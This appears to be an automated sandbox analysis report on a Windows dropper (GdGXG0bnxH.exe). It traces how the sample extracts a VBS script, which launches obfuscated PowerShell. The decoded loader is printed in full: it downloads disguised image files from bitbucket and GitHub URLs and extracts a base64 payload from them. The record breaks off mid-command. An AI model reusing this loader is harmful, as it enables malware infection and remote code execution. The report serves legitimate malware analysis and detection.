Source: powershell.exe, 0000000B.00000002.1497423977.0000024987323000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1497423977.0000024987300000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1497423977.000002498E382000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1497423977.0000024987304000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://remote-app-switcher.prod-east.frontend.public.atl-paas.net
Source: powershell.exe, 0000000B.00000002.1497423977.0000024987323000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1497423977.0000024987300000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1497423977.000002498E382000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1497423977.0000024987304000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://remote-app-switcher.stg-east.frontend.public.atl-paas.net
Source: powershell.exe, 0000000B.00000002.1497423977.0000024987323000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1497423977.0000024987300000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1497423977.000002498E382000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1497423977.0000024987304000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://web-security-reports.services.atlassian.com/csp-report/bb-website

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49700
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701

Source: unknown	HTTPS traffic detected: 185.166.143.50:443 -> 192.168.2.7:49700 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.109.133:443 -> 192.168.2.7:49701 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: Process Memory Space: powershell.exe PID: 7412, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 7548, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe	COM Object queried: Windows Script Host Network Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{093FF999-1EA0-4079-9525-9614C3504B74}			Jump to behavior
Source: C:\Windows\System32\wscript.exe	COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}			Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$sodigo = 'WwBO$GU$d$$u$FM$ZQBy$HY$aQBj$GU$U$Bv$Gk$bgB0$E0$YQBu$GE$ZwBl$HI$XQ$6$Do$UwBl$GM$dQBy$Gk$d$B5$F$$cgBv$HQ$bwBj$G8$b$$g$D0$I$Bb$E4$ZQB0$C4$UwBl$GM$dQBy$Gk$d$B5$F$$cgBv$HQ$bwBj$G8$b$BU$Hk$c$Bl$F0$Og$6$FQ$b$Bz$DE$Mg$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$ZgB1$G4$YwB0$Gk$bwBu$C$$R$Bv$Hc$bgBs$G8$YQBk$EQ$YQB0$GE$RgBy$G8$bQBM$Gk$bgBr$HM$I$B7$C$$c$Bh$HI$YQBt$C$$K$Bb$HM$d$By$Gk$bgBn$Fs$XQBd$CQ$b$Bp$G4$awBz$Ck$I$$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$J$B3$GU$YgBD$Gw$aQBl$G4$d$$g$D0$I$BO$GU$dw$t$E8$YgBq$GU$YwB0$C$$UwB5$HM$d$Bl$G0$LgBO$GU$d$$u$Fc$ZQBi$EM$b$Bp$GU$bgB0$Ds$I$$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$J$Bz$Gg$dQBm$GY$b$Bl$GQ$T$Bp$G4$awBz$C$$PQ$g$Ec$ZQB0$C0$UgBh$G4$Z$Bv$G0$I$$t$Ek$bgBw$HU$d$BP$GI$agBl$GM$d$$g$CQ$b$Bp$G4$awBz$C$$LQBD$G8$dQBu$HQ$I$$k$Gw$aQBu$Gs$cw$u$Ew$ZQBu$Gc$d$Bo$Ds$I$$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$ZgBv$HI$ZQBh$GM$a$$g$Cg$J$Bs$Gk$bgBr$C$$aQBu$C$$J$Bz$Gg$dQBm$GY$b$Bl$GQ$T$Bp$G4$awBz$Ck$I$B7$C$$d$By$Hk$I$B7$C$$cgBl$HQ$dQBy$G4$I$$k$Hc$ZQBi$EM$b$Bp$GU$bgB0$C4$R$Bv$Hc$bgBs$G8$YQBk$EQ$YQB0$GE$K$$k$Gw$aQBu$Gs$KQ$g$H0$I$Bj$GE$d$Bj$Gg$I$B7$C$$YwBv$G4$d$Bp$G4$dQBl$C$$fQ$g$H0$Ow$g$$0$Cg$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$By$GU$d$B1$HI$bg$g$CQ$bgB1$Gw$b$$g$H0$Ow$g$$0$Cg$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$k$Gw$aQBu$Gs$cw$g$D0$I$B$$Cg$JwBo$HQ$d$Bw$HM$Og$v$C8$YgBp$HQ$YgB1$GM$awBl$HQ$LgBv$HI$Zw$v$Go$a$Bn$GY$a$Bo$Gs$agBl$GU$Z$Bl$GY$Z$Bm$C8$bQBu$GI$dgBn$Go$Z$Bn$C8$Z$Bv$Hc$bgBs$G8$YQBk$HM$LwB0$GU$cwB0$C4$agBw$Gc$Pw$1$DM$Nw$2$DE$MQ$n$Cw$I$$n$Gg$d$B0$H$$cw$6$C8$LwBy$GE$dw$u$Gc$aQB0$Gg$dQBi$HU$cwBl$HI$YwBv$G4$d$Bl$G4$d$$u$GM$bwBt$C8$ZwBt$GU$Z$B1$HM$YQ$x$DM$NQ$v$G4$YQBu$G8$LwBy$GU$ZgBz$C8$a$Bl$GE$Z$Bz$C8$bQBh$Gk$bg$v$G4$ZQB3$F8$aQBt$Gc$MQ$y$DM$LgBq$H$$Zw$n$Ck$Ow$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$k$Gk$bQBh$Gc$ZQBC$Hk$d$Bl$HM$I$$9$C$$R$Bv$Hc$bgBs$G8$YQBk$EQ$YQB0$GE$RgBy$G8$bQBM$Gk$bgBr$HM$I$$k$Gw$aQBu$Gs$cw$7$$0$Cg$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$Gk$Zg$g$Cg$J$Bp$G0$YQBn$GU$QgB5$HQ$ZQBz$C$$LQBu$GU$I$$k$G4$dQBs$Gw$KQ$g$Hs$I$$k$Gk$bQBh$Gc$ZQBU$GU$e$B0$C$$PQ$g$Fs$UwB5$HM$d$Bl$G0$LgBU$GU$e$B0$C4$RQBu$GM$bwBk$Gk$bgBn$F0$Og$6$FU$V$BG$Dg$LgBH$GU$d$BT$HQ$cgBp$G4$Zw$o$CQ$aQBt$GE$ZwBl$EI$eQB0$GU$cw$p$Ds$DQ$K$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$J$Bz$HQ$YQBy$HQ$RgBs$GE$Zw$g$D0$I$$n$Dw$P$BC$EE$UwBF$DY$N$Bf$FM$V$BB$FI$V$$+$D4$Jw$7$C$$J$Bl$G4$Z$BG$Gw$YQBn$C$$PQ$g$Cc$P$$8$EI$QQBT$EU$Ng$0$F8$RQBO$EQ$Pg$+$Cc$Ow$g$CQ$cwB0$GE$cgB0$Ek$bgBk$GU$e$$g$D0$I$$k$Gk$bQBh$Gc$ZQBU$GU$e$B0$C4$SQBu$GQ$ZQB4$E8$Zg$o$CQ$cwB0$GE$cgB0$EY$b$Bh$Gc$KQ$7$C$$DQ$K$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$CQ$ZQBu$GQ$SQBu$GQ$ZQB4$C$$PQ$g$CQ$aQBt$GE$ZwBl$FQ$ZQB4$HQ$LgBJ$G4$Z$Bl$Hg$TwBm$Cg$J$Bl$G4$Z$BG$Gw$YQBn$Ck$Ow$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$Bp$GY$I$$o$CQ$cwB0$GE$cgB0$Ek$bgBk$GU$e$$g$C0$ZwBl$C$$M$$g$C0$YQBu$GQ$I$$k$GU$bgBk$Ek$bgBk$GU$e$$g$C0$ZwB0$C$$J$Bz$HQ$YQBy$HQ$SQBu$GQ$ZQB4$Ck$I$B7$C$$J$Bz$HQ$YQBy$HQ$SQBu$GQ$ZQB4$C$$Kw$9$C$$J$Bz$HQ$YQBy$HQ$RgBs$GE$Zw$u$Ew$ZQBu$Gc$d$Bo$D
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$sodigo = 'WwBO$GU$d$$u$FM$ZQBy$HY$aQBj$GU$U$Bv$Gk$bgB0$E0$YQBu$GE$ZwBl$HI$XQ$6$Do$UwBl$GM$dQBy$Gk$d$B5$F$$cgBv$HQ$bwBj$G8$b$$g$D0$I$Bb$E4$ZQB0$C4$UwBl$GM$dQBy$Gk$d$B5$F$$cgBv$HQ$bwBj$G8$b$BU$Hk$c$Bl$F0$Og$6$FQ$b$Bz$DE$Mg$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$ZgB1$G4$YwB0$Gk$bwBu$C$$R$Bv$Hc$bgBs$G8$YQBk$EQ$YQB0$GE$RgBy$G8$bQBM$Gk$bgBr$HM$I$B7$C$$c$Bh$HI$YQBt$C$$K$Bb$HM$d$By$Gk$bgBn$Fs$XQBd$CQ$b$Bp$G4$awBz$Ck$I$$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$J$B3$GU$YgBD$Gw$aQBl$G4$d$$g$D0$I$BO$GU$dw$t$E8$YgBq$GU$YwB0$C$$UwB5$HM$d$Bl$G0$LgBO$GU$d$$u$Fc$ZQBi$EM$b$Bp$GU$bgB0$Ds$I$$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$J$Bz$Gg$dQBm$GY$b$Bl$GQ$T$Bp$G4$awBz$C$$PQ$g$Ec$ZQB0$C0$UgBh$G4$Z$Bv$G0$I$$t$Ek$bgBw$HU$d$BP$GI$agBl$GM$d$$g$CQ$b$Bp$G4$awBz$C$$LQBD$G8$dQBu$HQ$I$$k$Gw$aQBu$Gs$cw$u$Ew$ZQBu$Gc$d$Bo$Ds$I$$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$ZgBv$HI$ZQBh$GM$a$$g$Cg$J$Bs$Gk$bgBr$C$$aQBu$C$$J$Bz$Gg$dQBm$GY$b$Bl$GQ$T$Bp$G4$awBz$Ck$I$B7$C$$d$By$Hk$I$B7$C$$cgBl$HQ$dQBy$G4$I$$k$Hc$ZQBi$EM$b$Bp$GU$bgB0$C4$R$Bv$Hc$bgBs$G8$YQBk$EQ$YQB0$GE$K$$k$Gw$aQBu$Gs$KQ$g$H0$I$Bj$GE$d$Bj$Gg$I$B7$C$$YwBv$G4$d$Bp$G4$dQBl$C$$fQ$g$H0$Ow$g$$0$Cg$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$By$GU$d$B1$HI$bg$g$CQ$bgB1$Gw$b$$g$H0$Ow$g$$0$Cg$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$k$Gw$aQBu$Gs$cw$g$D0$I$B$$Cg$JwBo$HQ$d$Bw$HM$Og$v$C8$YgBp$HQ$YgB1$GM$awBl$HQ$LgBv$HI$Zw$v$Go$a$Bn$GY$a$Bo$Gs$agBl$GU$Z$Bl$GY$Z$Bm$C8$bQBu$GI$dgBn$Go$Z$Bn$C8$Z$Bv$Hc$bgBs$G8$YQBk$HM$LwB0$GU$cwB0$C4$agBw$Gc$Pw$1$DM$Nw$2$DE$MQ$n$Cw$I$$n$Gg$d$B0$H$$cw$6$C8$LwBy$GE$dw$u$Gc$aQB0$Gg$dQBi$HU$cwBl$HI$YwBv$G4$d$Bl$G4$d$$u$GM$bwBt$C8$ZwBt$GU$Z$B1$HM$YQ$x$DM$NQ$v$G4$YQBu$G8$LwBy$GU$ZgBz$C8$a$Bl$GE$Z$Bz$C8$bQBh$Gk$bg$v$G4$ZQB3$F8$aQBt$Gc$MQ$y$DM$LgBq$H$$Zw$n$Ck$Ow$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$k$Gk$bQBh$Gc$ZQBC$Hk$d$Bl$HM$I$$9$C$$R$Bv$Hc$bgBs$G8$YQBk$EQ$YQB0$GE$RgBy$G8$bQBM$Gk$bgBr$HM$I$$k$Gw$aQBu$Gs$cw$7$$0$Cg$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$Gk$Zg$g$Cg$J$Bp$G0$YQBn$GU$QgB5$HQ$ZQBz$C$$LQBu$GU$I$$k$G4$dQBs$Gw$KQ$g$Hs$I$$k$Gk$bQBh$Gc$ZQBU$GU$e$B0$C$$PQ$g$Fs$UwB5$HM$d$Bl$G0$LgBU$GU$e$B0$C4$RQBu$GM$bwBk$Gk$bgBn$F0$Og$6$FU$V$BG$Dg$LgBH$GU$d$BT$HQ$cgBp$G4$Zw$o$CQ$aQBt$GE$ZwBl$EI$eQB0$GU$cw$p$Ds$DQ$K$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$J$Bz$HQ$YQBy$HQ$RgBs$GE$Zw$g$D0$I$$n$Dw$P$BC$EE$UwBF$DY$N$Bf$FM$V$BB$FI$V$$+$D4$Jw$7$C$$J$Bl$G4$Z$BG$Gw$YQBn$C$$PQ$g$Cc$P$$8$EI$QQBT$EU$Ng$0$F8$RQBO$EQ$Pg$+$Cc$Ow$g$CQ$cwB0$GE$cgB0$Ek$bgBk$GU$e$$g$D0$I$$k$Gk$bQBh$Gc$ZQBU$GU$e$B0$C4$SQBu$GQ$ZQB4$E8$Zg$o$CQ$cwB0$GE$cgB0$EY$b$Bh$Gc$KQ$7$C$$DQ$K$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$CQ$ZQBu$GQ$SQBu$GQ$ZQB4$C$$PQ$g$CQ$aQBt$GE$ZwBl$FQ$ZQB4$HQ$LgBJ$G4$Z$Bl$Hg$TwBm$Cg$J$Bl$G4$Z$BG$Gw$YQBn$Ck$Ow$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$Bp$GY$I$$o$CQ$cwB0$GE$cgB0$Ek$bgBk$GU$e$$g$C0$ZwBl$C$$M$$g$C0$YQBu$GQ$I$$k$GU$bgBk$Ek$bgBk$GU$e$$g$C0$ZwB0$C$$J$Bz$HQ$YQBy$HQ$SQBu$GQ$ZQB4$Ck$I$B7$C$$J$Bz$HQ$YQBy$HQ$SQBu$GQ$ZQB4$C$$Kw$9$C$$J$Bz$HQ$YQBy$HQ$RgBs$GE$Zw$u$Ew$ZQBu$Gc$d$Bo$D			Jump to behavior

Source: C:\Users\user\Desktop\GdGXG0bnxH.exe	Code function: 4_2_00007FF7E6E82C54 GetVersion,GetModuleHandleW,GetProcAddress,ExitWindowsEx,CloseHandle,		4_2_00007FF7E6E82C54
Source: C:\Users\user\Desktop\GdGXG0bnxH.exe	Code function: 4_2_00007FF7E6E81C0C GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,CloseHandle,ExitWindowsEx,		4_2_00007FF7E6E81C0C

Source: C:\Users\user\Desktop\GdGXG0bnxH.exe	Code function: 4_2_00007FF7E6E866C4	4_2_00007FF7E6E866C4
Source: C:\Users\user\Desktop\GdGXG0bnxH.exe	Code function: 4_2_00007FF7E6E840C4	4_2_00007FF7E6E840C4
Source: C:\Users\user\Desktop\GdGXG0bnxH.exe	Code function: 4_2_00007FF7E6E82DB4	4_2_00007FF7E6E82DB4
Source: C:\Users\user\Desktop\GdGXG0bnxH.exe	Code function: 4_2_00007FF7E6E86CA4	4_2_00007FF7E6E86CA4
Source: C:\Users\user\Desktop\GdGXG0bnxH.exe	Code function: 4_2_00007FF7E6E85D90	4_2_00007FF7E6E85D90
Source: C:\Users\user\Desktop\GdGXG0bnxH.exe	Code function: 4_2_00007FF7E6E81D28	4_2_00007FF7E6E81D28
Source: C:\Users\user\Desktop\GdGXG0bnxH.exe	Code function: 4_2_00007FF7E6E81C0C	4_2_00007FF7E6E81C0C
Source: C:\Users\user\Desktop\GdGXG0bnxH.exe	Code function: 4_2_00007FF7E6E83530	4_2_00007FF7E6E83530

Source: GdGXG0bnxH.exe

Static PE information: Resource name: RT_RCDATA type: Microsoft Cabinet archive data, Windows 2000/XP setup, 6328 bytes, 1 file, at 0x2c +A "675c87f6bfee1.vbs", ID 1356, number 1, 1 datablock, 0x1503 compression

Source: GdGXG0bnxH.exe

Static PE information: Resource name: RT_RCDATA type: GLS_BINARY_LSB_FIRST

Source: GdGXG0bnxH.exe	Binary or memory string: OriginalFilename vs GdGXG0bnxH.exe
Source: GdGXG0bnxH.exe, 00000004.00000000.1276448002.00007FF7E6E8E000.00000002.00000001.01000000.00000004.sdmp	Binary or memory string: OriginalFilenameWEXTRACT.EXE .MUID vs GdGXG0bnxH.exe
Source: GdGXG0bnxH.exe	Binary or memory string: OriginalFilenameWEXTRACT.EXE .MUID vs GdGXG0bnxH.exe

Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 5348
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: Commandline size = 2006
Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 5348	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: Commandline size = 2006	Jump to behavior

Source: Process Memory Space: powershell.exe PID: 7412, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 7548, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: classification engine

Classification label: mal100.spre.expl.evad.winEXE@12/9@4/2

Source: C:\Users\user\Desktop\GdGXG0bnxH.exe

Code function: 4_2_00007FF7E6E86CA4 GetCurrentDirectoryA,SetCurrentDirectoryA,GetDiskFreeSpaceA,MulDiv,GetVolumeInformationA,memset,GetLastError,FormatMessageA,SetCurrentDirectoryA,memset,GetLastError,FormatMessageA,SetCurrentDirectoryA,

4_2_00007FF7E6E86CA4

Source: C:\Users\user\Desktop\GdGXG0bnxH.exe

Code function: 4_2_00007FF7E6E81C0C GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,CloseHandle,ExitWindowsEx,

4_2_00007FF7E6E81C0C

Source: C:\Users\user\Desktop\GdGXG0bnxH.exe

Code function: 4_2_00007FF7E6E866C4 LocalAlloc,LocalFree,lstrcmpA,LocalFree,GetTempPathA,GetDriveTypeA,GetFileAttributesA,GetDiskFreeSpaceA,MulDiv,GetWindowsDirectoryA,GetFileAttributesA,CreateDirectoryA,SetFileAttributesA,GetWindowsDirectoryA,

4_2_00007FF7E6E866C4

Source: C:\Users\user\Desktop\GdGXG0bnxH.exe

Code function: 4_2_00007FF7E6E87AC8 FindResourceA,LoadResource,DialogBoxIndirectParamA,FreeResource,

4_2_00007FF7E6E87AC8

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7420:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7260:120:WilError_03

Source: C:\Users\user\Desktop\GdGXG0bnxH.exe

File created: C:\Users\user~1\AppData\Local\Temp\IXP000.TMP

Jump to behavior

Source: C:\Users\user\Desktop\GdGXG0bnxH.exe

Process created: C:\Windows\System32\cmd.exe cmd.exe /c 675c87f6bfee1.vbs

Source: GdGXG0bnxH.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\System32\cmd.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\GdGXG0bnxH.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: GdGXG0bnxH.exe

ReversingLabs: Detection: 39%

Source: unknown	Process created: C:\Users\user\Desktop\GdGXG0bnxH.exe "C:\Users\user\Desktop\GdGXG0bnxH.exe"
Source: C:\Users\user\Desktop\GdGXG0bnxH.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c 675c87f6bfee1.vbs
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\675c87f6bfee1.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$sodigo = 'WwBO$GU$d$$u$FM$ZQBy$HY$aQBj$GU$U$Bv$Gk$bgB0$E0$YQBu$GE$ZwBl$HI$XQ$6$Do$UwBl$GM$dQBy$Gk$d$B5$F$$cgBv$HQ$bwBj$G8$b$$g$D0$I$Bb$E4$ZQB0$C4$UwBl$GM$dQBy$Gk$d$B5$F$$cgBv$HQ$bwBj$G8$b$BU$Hk$c$Bl$F0$Og$6$FQ$b$Bz$DE$Mg$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$ZgB1$G4$YwB0$Gk$bwBu$C$$R$Bv$Hc$bgBs$G8$YQBk$EQ$YQB0$GE$RgBy$G8$bQBM$Gk$bgBr$HM$I$B7$C$$c$Bh$HI$YQBt$C$$K$Bb$HM$d$By$Gk$bgBn$Fs$XQBd$CQ$b$Bp$G4$awBz$Ck$I$$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$J$B3$GU$YgBD$Gw$aQBl$G4$d$$g$D0$I$BO$GU$dw$t$E8$YgBq$GU$YwB0$C$$UwB5$HM$d$Bl$G0$LgBO$GU$d$$u$Fc$ZQBi$EM$b$Bp$GU$bgB0$Ds$I$$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$J$Bz$Gg$dQBm$GY$b$Bl$GQ$T$Bp$G4$awBz$C$$PQ$g$Ec$ZQB0$C0$UgBh$G4$Z$Bv$G0$I$$t$Ek$bgBw$HU$d$BP$GI$agBl$GM$d$$g$CQ$b$Bp$G4$awBz$C$$LQBD$G8$dQBu$HQ$I$$k$Gw$aQBu$Gs$cw$u$Ew$ZQBu$Gc$d$Bo$Ds$I$$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$ZgBv$HI$ZQBh$GM$a$$g$Cg$J$Bs$Gk$bgBr$C$$aQBu$C$$J$Bz$Gg$dQBm$GY$b$Bl$GQ$T$Bp$G4$awBz$Ck$I$B7$C$$d$By$Hk$I$B7$C$$cgBl$HQ$dQBy$G4$I$$k$Hc$ZQBi$EM$b$Bp$GU$bgB0$C4$R$Bv$Hc$bgBs$G8$YQBk$EQ$YQB0$GE$K$$k$Gw$aQBu$Gs$KQ$g$H0$I$Bj$GE$d$Bj$Gg$I$B7$C$$YwBv$G4$d$Bp$G4$dQBl$C$$fQ$g$H0$Ow$g$$0$Cg$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$By$GU$d$B1$HI$bg$g$CQ$bgB1$Gw$b$$g$H0$Ow$g$$0$Cg$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$k$Gw$aQBu$Gs$cw$g$D0$I$B$$Cg$JwBo$HQ$d$Bw$HM$Og$v$C8$YgBp$HQ$YgB1$GM$awBl$HQ$LgBv$HI$Zw$v$Go$a$Bn$GY$a$Bo$Gs$agBl$GU$Z$Bl$GY$Z$Bm$C8$bQBu$GI$dgBn$Go$Z$Bn$C8$Z$Bv$Hc$bgBs$G8$YQBk$HM$LwB0$GU$cwB0$C4$agBw$Gc$Pw$1$DM$Nw$2$DE$MQ$n$Cw$I$$n$Gg$d$B0$H$$cw$6$C8$LwBy$GE$dw$u$Gc$aQB0$Gg$dQBi$HU$cwBl$HI$YwBv$G4$d$Bl$G4$d$$u$GM$bwBt$C8$ZwBt$GU$Z$B1$HM$YQ$x$DM$NQ$v$G4$YQBu$G8$LwBy$GU$ZgBz$C8$a$Bl$GE$Z$Bz$C8$bQBh$Gk$bg$v$G4$ZQB3$F8$aQBt$Gc$MQ$y$DM$LgBq$H$$Zw$n$Ck$Ow$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$k$Gk$bQBh$Gc$ZQBC$Hk$d$Bl$HM$I$$9$C$$R$Bv$Hc$bgBs$G8$YQBk$EQ$YQB0$GE$RgBy$G8$bQBM$Gk$bgBr$HM$I$$k$Gw$aQBu$Gs$cw$7$$0$Cg$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$Gk$Zg$g$Cg$J$Bp$G0$YQBn$GU$QgB5$HQ$ZQBz$C$$LQBu$GU$I$$k$G4$dQBs$Gw$KQ$g$Hs$I$$k$Gk$bQBh$Gc$ZQBU$GU$e$B0$C$$PQ$g$Fs$UwB5$HM$d$Bl$G0$LgBU$GU$e$B0$C4$RQBu$GM$bwBk$Gk$bgBn$F0$Og$6$FU$V$BG$Dg$LgBH$GU$d$BT$HQ$cgBp$G4$Zw$o$CQ$aQBt$GE$ZwBl$EI$eQB0$GU$cw$p$Ds$DQ$K$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$J$Bz$HQ$YQBy$HQ$RgBs$GE$Zw$g$D0$I$$n$Dw$P$BC$EE$UwBF$DY$N$Bf$FM$V$BB$FI$V$$+$D4$Jw$7$C$$J$Bl$G4$Z$BG$Gw$YQBn$C$$PQ$g$Cc$P$$8$EI$QQBT$EU$Ng$0$F8$RQBO$EQ$Pg$+$Cc$Ow$g$CQ$cwB0$GE$cgB0$Ek$bgBk$GU$e$$g$D0$I$$k$Gk$bQBh$Gc$ZQBU$GU$e$B0$C4$SQBu$GQ$ZQB4$E8$Zg$o$CQ$cwB0$GE$cgB0$EY$b$Bh$Gc$KQ$7$C$$DQ$K$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$CQ$ZQBu$GQ$SQBu$GQ$ZQB4$C$$PQ$g$CQ$aQBt$GE$ZwBl$FQ$ZQB4$HQ$LgBJ$G4$Z$Bl$Hg$TwBm$Cg$J$Bl$G4$Z$BG$Gw$YQBn$Ck$Ow$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$Bp$GY$I$$o$CQ$cwB0$GE$cgB0$Ek$bgBk$GU$e$$g$C0$ZwBl$C$$M$$g$C0$YQBu$GQ$I$$k$GU$bgBk$Ek$bgBk$GU$e$$g$C0$ZwB0$C$$J$Bz$HQ$YQBy$HQ$SQBu$GQ$ZQB4$Ck$I$B7$C$$J$Bz$HQ$YQBy$HQ$SQBu$GQ$ZQB4$C$$Kw$9$C$$J$Bz$HQ$YQBy$HQ$RgBs$GE$Zw$u$Ew$ZQBu$Gc$d$Bo$D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/jhgfhhkjeedefdf/mnbvgjdg/downloads/test.jpg?537611', 'https://raw.githubusercontent.com/gmedusa135/nano/refs/heads/main/new_img123.jpg'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = 